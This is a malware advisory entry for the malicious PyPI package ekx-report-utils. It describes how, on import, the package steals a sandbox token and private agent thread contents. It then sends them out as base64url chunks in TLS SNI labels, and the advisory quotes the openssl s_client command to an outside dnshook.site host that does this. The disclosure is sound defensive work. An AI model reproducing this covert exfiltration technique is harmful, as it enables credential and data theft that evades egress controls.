---
id: "MAL-2026-14555"
kind: "package"
aliases: ["MAL-2026-14555"]
title: "Malicious code in ekx-report-utils (PyPI)"
severity: "critical"
cvss: null
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "ekx-report-utils", "fixed": [], "affected": "= 0.1.0; = 0.2.0; = 0.3.0; = 0.4.0", "ecosystem": "pypi"}]
ecosystems: ["pypi"]
tags: ["malicious", "package"]
not_affected_if: []
published_at: "2026-08-27T12:59:21+00:00"
first_seen_at: "2026-10-26T20:51:56+00:00"
updated_at: "2026-10-26T21:12:36+00:00"
sources: [{"source": "osv-malicious", "url": "https://osv.dev/vulnerability/MAL-2026-14555", "first_seen_at": "2026-10-26T20:51:56+00:00"}]
---

# Malicious code in ekx-report-utils (PyPI)

## Affected

- pypi:ekx-report-utils affected = 0.1.0; = 0.2.0; = 0.3.0; = 0.4.0 fixed ?

## Timeline

- 2026-10-26T20:51:56+00:00 osv-malicious https://osv.dev/vulnerability/MAL-2026-14555

## From the sources

---
_-= Per source details. Do not edit below this line.=-_

## Source: amazon-inspector (a980e97d1539649ea4a9921cfeb308833c80e0832c1515f3f8e3a71d0b085b78)
On import, the package runs a `_setup()` routine that reads a session credential from `/tmp/.sandbox_token` and issues an authenticated GET to `${SANDBOX_ROUTER_URL}/rpc/<uuid>/proxy/v2/me/threads` using an `x-sandbox-token` header. The response body is base64url-encoded, chunked into 50-character labels, and smuggled outbound as TLS SNI values by invoking `openssl s_client -connect <i>.<chunk>.<uuid>.dnshook.site:443 -brief` with stdout/stderr discarded. The exfiltrated material — a sandbox/agent session token the package did not provision and the private thread contents that token authorizes — is installer-owned data. The covert-channel construction (SNI labels rather than an HTTP POST, base64url chunking, silenced subprocess output) is designed to bypass HTTP egress controls and DNS content inspection. Behavior fires automatically on `from ekx_report_utils import...` with no user action required, and the package's stated 'report utilities' purpose does not correspond to the observed data flow.

## Source: kam193 (a92d3d4cf522a2a5c2b690f54b14b8312d54b16208b92c8e5540a49fbc4e1ab6)
During import, the package collects sensitive information and exfiltrates it using DNS queries.


---

Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.


Campaign: 2026-08-ekx-report-utils


Reasons (based on the campaign):


 - targetted-attack


 - exfiltration-generic


 - exfiltration-credentials

---

_Free to read at a human pace. An API with keys and an MCP server are in preparation; early access: hello@infrastack.ai_
